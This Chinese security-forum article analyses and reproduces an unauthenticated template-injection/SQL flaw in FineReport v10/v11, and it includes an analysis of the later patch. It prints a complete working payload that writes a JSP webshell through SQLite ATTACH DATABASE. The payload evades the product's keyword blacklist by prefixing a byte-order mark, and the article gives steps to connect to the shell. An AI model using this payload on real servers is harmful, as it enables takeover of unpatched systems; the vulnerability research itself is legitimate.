问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
帆软 FineReport SQL 注入漏洞
漏洞分析
通过分析帆软v10的路由特点,利用asm来获取所有可未授权访问的接口,最后快速定位到该漏洞具体位置
一、漏洞简介 ------ 帆软v10,v11存在/view/ReportServer接口存在模版注入漏洞,攻击者可以利用该漏洞执行任意SQL写入Webshell,从而获取服务器权限。 二、影响版本 ------ 该漏洞影响 FineReport 10.0、FineReport11.0、FineBI 的tomcat 部署包(7 月 23 日补丁版本之前的全部版本) 三、漏洞原理分析 -------- 帆软v10路由处理 从v10开始,web.xml中不在设置自定义filter,使用注解来处理路由,这里从DispatcherServlet.doDispatch方法来分析路由是如何处理的  从this.getHandler中根据请求的路径,参数等信息获取对应处理业务逻辑的handler 比如请求的路径是`/webroot/decision/login`对应的hanlder信息:  接着从this.getHandlerAdapter中获取对应handler的适配器,后续用来解析handler mappedHandler.applyPreHandle是路由处理的关键  前五个拦截器负责处理请求的合法性,不对请求进行权限校验,从DecisionInterceptor开始校验权限,进入DecisionInterceptor.preHandle方法  EventDispatcher.fire方法为设置触发器 将handler转换为HandlerMethod后进入getRequestChecker  checkerList如下:  从这里开始迭代这个list,并且调用其acceptRequest方法,如果返回true则跳出循环 DecisionRequestChecker.acceptRequest如下:  这里获取handler的方法是否存在TemplateAuth这个注解,如果没有则返回true ReportTemplateRequestChecker  处理TemplateAuth不为空的情况,并且TemplateAuth的product属性为TemplateProductType.FINE\_REPORT,否则返回false 其余的类和以上的情况差不多 返回到DecisionInterceptor 因为这里对应的handler是LoginResource.page没有TemplateAuth注解,所以返回DecisionRequestChecker   进入DecisionRequestChecker.checkRequest  进入getLoginStatusValidator,这里开始判断这个请求对应的方法是否需要被进行检查  这里就比较清楚了,如果类和方法被LoginStatusChecker修饰,并且required为false即不需要被鉴权 所以接下来就来寻找不需要被鉴权即可访问的类和方法,在idea里面,jar包中不支持反向查找,所以这里用asm来实现.class文件的解析 利用asm快速获取可未授权访问的接口 编写简单的asm代码 ```php public class AllClassVisitor extends ClassVisitor { private byte\[\] classData; private boolean isControllerClass \= false; private boolean isRequestMappingClass \= false; private boolean isRestController \= false; private String className; private boolean classNeedAuth \= true; private boolean methodNeedAuth \= true; public AllClassVisitor(byte\[\] data) { super(Opcodes.ASM6); classData \= data; } @Override public void visit(int version, int access, String name, String signature, String superName, String\[\] interfaces) { super.visit(version, access, name, signature, superName, interfaces); className \= name; } @Override public AnnotationVisitor visitAnnotation(String descriptor, boolean visible) { if (descriptor.equals(Annotation.controller)) { isControllerClass \= true; } else if (descriptor.equals(Annotation.requestMapping)) { isRequestMappingClass \= true; } else if (descriptor.equals(Annotation.restController)) { isRestController \= true; } else if (descriptor.equals(Annotation.loginStatusChecker)) { return new AnnotationVisitor(Opcodes.ASM6) { @Override public void visit(String name, Object value) { if (name.equals("required") && value instanceof Boolean && value.toString() \== "false") { classNeedAuth \= false; } super.visit(name, value); } }; } return super.visitAnnotation(descriptor, visible); } @Override public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String\[\] exceptions) { return new AllMethodAdapter(className, name); } @Override public void visitEnd() { if (isControllerClass || isRequestMappingClass || isRestController) { if (!classNeedAuth || !methodNeedAuth) { String fileName \= "your save path" + className.substring(className.lastIndexOf("/") + 1) + ".class"; File file \= new File(fileName); try { FileUtils.writeByteArrayToFile(file, classData); } catch (IOException e) { throw new RuntimeException(e); } } else { String fileName \= "your save path" + className.substring(className.lastIndexOf("/") + 1) + ".class"; File file \= new File(fileName); try { FileUtils.writeByteArrayToFile(file, classData); } catch (IOException e) { throw new RuntimeException(e); } } } } public class AllMethodAdapter extends MethodVisitor { private String methodName; public AllMethodAdapter(String name, String method) { super(Opcodes.ASM6); className \= name; methodName \= method; } @Override public AnnotationVisitor visitAnnotation(String descriptor, boolean visible) { if (descriptor.equals(Annotation.loginStatusChecker)) { return new AnnotationVisitor(Opcodes.ASM6) { @Override public void visit(String name, Object value) { if (name.equals("required") && value instanceof Boolean && value.toString() \== "false") { methodNeedAuth \= false; } super.visit(name, value); } }; } else if (descriptor.equals(Annotation.templateAuth)) { return new AnnotationVisitor(Opcodes.ASM6) { @Override public void visitEnum(String name, String descriptor, String value) { if (name.equals("product") && descriptor.equals("Lcom/fr/decision/webservice/bean/template/TemplateProductType;") && value.equals("FINE\_REPORT")) { methodNeedAuth \= false; } super.visitEnum(name, descriptor, value); } }; } return super.visitAnnotation(descriptor, visible); } } } ``` 分析所有帆软v10的jar包,得到下面的文件列表,包含了所有可不经过鉴权即可访问的方法和类  那么ReportRequestCompatibleService就是对应`/view/ReportServer`的漏洞点了 > 如果需要对帆软的业务代码进行调试,需要对其业务代码重新编译恢复class文件中的行号信息,然后替换到原来的jar包中,重启服务即可 分析/view/ReportServer接口的ssti 发送payload ```php test=s&n=${__f_locale__=sql(%27FRDemo%27,DECODE(%27%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Faaa.jsp%27%20as%20gggggg%3B%27),1,1)}${__fr_locale__=sql(%27FRDemo%27,DECODE(%27%EF%BB%BFCREATE%20TABLE%20gggggg.exp2%28data%20text%29%3B%27),1,1)}${__fr_locale__=sql(%27FRDemo%27,DECODE(%27%EF%BB%BFINSERT%20INTO%20gggggg.exp2%28data%29%20VALUES%20%28x%27247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d%27%29%3B%27),1,1)} ``` 打下断点,开始调试  进入render方法,继续跟进  这里的com.fr.script.Calculator方法,文档的解释是用来处理公式的运算  进入renderTpl  继续跟进renderTpl  这里对${...}这样格式的数据进行正则校验 这里的第一个${fineServletURL},通过服务器的全局数据获取到context数据,从第二个${}开始 进入TemplateUtils  一直跟进到Calculator.evalString方法  这里通过parse把参数和值解析成三部分,继续跟进eval,对这三部分进行解析处理   这里在处理第三部分,也就是对应的sql语句的时候,会有一个额外的处理  解析是否存在这个sql的方法  也就是说如果没有找到sql的类,会拼接com.fr.function.sql这样,再去反射获取obj,那么 后续其实就在调用obj的run方法了   但是在执行sql之前,需要被另外一个线程检查  InsecurityElement如下:   所以这里需要先去除字符串和字符内容,再去除特殊字符,然后返回sql的执行关键语句,最后判断这个关键字是否在黑名单里面 然后在回来看payload里面的sql语句 ```php %EF%BB%BFATTACH DATABASE '../webapps/webroot/aaa.jsp' as gggggg; 创建数据库文件落地 %EF%BB%BFCREATE TABLE gggggg.exp2(data text); 创建表 %EF%BB%BFINSERT INTO gggggg.exp2(data) VALUES 插入数据(x'247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d'); ``` 语句的每一个开头都有一个%EF%BB%BF  这里sqlite的文档显示如果开头字符存在U+FEFF则移除,正好可以绕过帆软的关键字检测 最后完成aaa.jsp的写入,其实这就是个sqlite的数据库文件... 最后访问即可rce 但是这里的环境有问题,帆软里面大部分jar包,以及tomcat的jsp依赖,都被帆软官方改过,在win下貌似有问题 漏洞补丁分析 后续的补丁在ReportRequestCompatibleService.preview做了修改:  用户的数据不在被render方法解析,这个未授权的接口也无效了 然后在JDBCSecurityChecker$InsecuritySQLKeyword.probed方法中也做了对应的修改:  可以看见不在做简单的匹配了,直接用正则来匹配黑名单关键字,sqlite的特性在这里也被修复了 四、环境搭建 ------ 下载帆软v10的历史版本 <https://www.finereport.com/product/download> 开启调试端口,修改/bin/designer.bat,添加如下代码 -agentlib:jdwp=transport=dt\_socket,server=y,suspend=n,address=localhost:5005 启动designer.bat   这里的试用可以申请,比较方便 五、漏洞复现 ------ 最后在网站根目录下有aaa.jsp 使用蚁剑链接url:<http://192.168.0.107:8075/webroot/aaa.jsp?a=javax.script.ScriptEngineManager> 密码为b  六、总结 ---- 在分析帆软v10的路由情况时,发现大部分未授权的接口都使用了对应的注解,这个时候可以利用asm来快速获取不需要鉴权的接口,从0day视角分析此漏洞 /view/ReportServer漏洞主要利用了ssti和sqlite数据库的特性,通过对应的sql方法完成数据库(即shell文件)的落地,以及对此sql文件的数据操作完成恶意数据的写入,最后实现rce 参考 <https://android.googlesource.com/platform//external/sqlite/+/d11514d85b96ef33b1a78080246df7df2cf5d9ea/dist/orig/sqlite3.h> <https://y4tacker.github.io/2024/07/23/year/2024/7/%E6%9F%90%E8%BD%AFReport%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%AD%E5%88%A9%E7%94%A8%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%86%E8%8A%82/>
发表于 2024-08-19 10:08:47
阅读 ( 4887 )
分类:
OA产品
0 推荐
收藏
0 条评论
请先
登录
后评论
yrf2314
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!